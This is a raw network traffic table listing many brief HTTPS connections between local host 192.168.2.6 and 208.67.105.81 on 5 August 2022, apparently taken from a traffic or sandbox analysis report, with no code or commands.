Aug 5, 2022 12:12:25.611562967 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.611581087 CEST	49965	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.732243061 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.732306957 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.732434988 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.733010054 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.733042002 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.795298100 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.795469046 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.797918081 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.797930956 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.801680088 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.801698923 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.852700949 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.852797985 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.852793932 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.852864027 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.853974104 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.853993893 CEST	443	49966	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.854007006 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.854141951 CEST	49966	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.982256889 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.982328892 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:25.983939886 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.984607935 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:25.984644890 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.047627926 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.047713041 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.052036047 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.052054882 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.055398941 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.055423975 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.101620913 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.101692915 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.101804972 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.102463007 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.102488041 CEST	443	49967	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.102520943 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.102566957 CEST	49967	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.228183031 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.228233099 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.228334904 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.229774952 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.229804039 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.288808107 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.289047956 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.293131113 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.293154001 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.296503067 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.296525955 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.342886925 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.343003035 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.343081951 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.348550081 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.348592043 CEST	443	49968	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.348606110 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.350158930 CEST	49968	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.469419956 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.469484091 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.469599009 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.470276117 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.470303059 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.529537916 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.529772043 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.530278921 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.530301094 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.534280062 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.534307003 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.584520102 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.584609985 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.584615946 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.584667921 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.587831020 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.587866068 CEST	443	49969	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.587881088 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.587943077 CEST	49969	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.706463099 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.706511974 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.707506895 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.708100080 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.708122969 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.768524885 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.768934965 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.772754908 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.772783995 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.776962996 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.776997089 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.825294018 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.825375080 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.825685978 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.825706959 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.825896978 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.825925112 CEST	443	49970	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.825941086 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.826044083 CEST	49970	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.946769953 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.946830034 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:26.946919918 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.948682070 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:26.948707104 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.008898020 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.010389090 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.011218071 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.011228085 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.014611959 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.014635086 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.065053940 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.065232992 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.065382004 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.065761089 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.065788031 CEST	443	49971	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.065803051 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.065911055 CEST	49971	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.202756882 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.202822924 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.202934027 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.203623056 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.203654051 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.263205051 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.263623953 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.264214993 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.264239073 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.267983913 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.268019915 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.318429947 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.318506002 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.318550110 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.318599939 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.319200039 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.319219112 CEST	443	49972	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.319238901 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.319273949 CEST	49972	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.457995892 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.458055973 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.458148956 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.459362030 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.459383965 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.519846916 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.520642996 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.521280050 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.521295071 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.524903059 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.524929047 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.574414968 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.574496031 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.574532032 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.574563026 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.575011015 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.575030088 CEST	443	49973	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.575043917 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.575097084 CEST	49973	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.693001032 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.693047047 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.693322897 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.693923950 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.693934917 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.753351927 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.754745007 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.755693913 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.755707979 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.759598970 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.759617090 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.808149099 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.808335066 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.808357000 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.808402061 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.808656931 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.808679104 CEST	443	49974	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.808686972 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.808744907 CEST	49974	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.929671049 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.929742098 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:27.929970026 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.930913925 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:27.930963993 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.005856037 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.005948067 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.007186890 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.007203102 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.012284040 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.012316942 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.061819077 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.061940908 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.061964989 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.062035084 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.062036991 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.062097073 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.062576056 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.062592983 CEST	443	49975	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.062654972 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.062675953 CEST	49975	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.189800024 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.189856052 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.189944983 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.190534115 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.190551996 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.251749992 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.251995087 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.252731085 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.252768040 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.257205963 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.257257938 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.305814981 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.305933952 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.305949926 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.306035995 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.306520939 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.306564093 CEST	443	49976	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.306605101 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.306647062 CEST	49976	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.425251007 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.425308943 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.425470114 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.426217079 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.426245928 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.486789942 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.486943960 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.487600088 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.487607956 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.500247002 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.500266075 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.541558981 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.541738033 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.541763067 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.541865110 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.542912006 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.542932987 CEST	443	49977	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.543008089 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.543071985 CEST	49977	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.664489031 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.664552927 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.664694071 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.666941881 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.666979074 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.726876974 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.726965904 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.727622032 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.727631092 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.732873917 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.732898951 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.781714916 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.781847954 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.782072067 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.782444000 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.782468081 CEST	443	49978	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.782495975 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.782533884 CEST	49978	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.900832891 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.900882959 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.900995016 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.901638985 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.901668072 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.961734056 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.961849928 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.962627888 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.962658882 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:28.966953993 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:28.966972113 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.016638994 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.016804934 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.016865969 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.017142057 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.017154932 CEST	443	49979	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.017194033 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.017292976 CEST	49979	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.135293961 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.135340929 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.135580063 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.136217117 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.136240959 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.197626114 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.198052883 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.198575974 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.198604107 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.202095032 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.202120066 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.252489090 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.252583027 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.252717972 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.252971888 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.252995014 CEST	443	49980	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.253010988 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.253693104 CEST	49980	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.372663975 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.372723103 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.372889042 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.373980999 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.374011040 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.441193104 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.442636013 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.443192959 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.443207979 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.447052956 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.447068930 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.496789932 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.496881962 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.496903896 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.496922016 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.497278929 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.497914076 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.497930050 CEST	443	49981	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.497973919 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.497992039 CEST	49981	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.615828991 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.615890980 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.616013050 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.616466999 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.616503000 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.678220034 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.678364992 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.678941965 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.678952932 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.682439089 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.682450056 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.733903885 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.734028101 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.734167099 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.734599113 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.734627008 CEST	443	49982	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.734658003 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.734693050 CEST	49982	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.858335018 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.858450890 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.858592033 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.859854937 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.859893084 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.923449039 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.924104929 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.924554110 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.924566031 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.929143906 CEST	49983	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:29.929162025 CEST	443	49983	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:29.977994919 CEST	443	49983	208.67.105.81	192.168.2.6
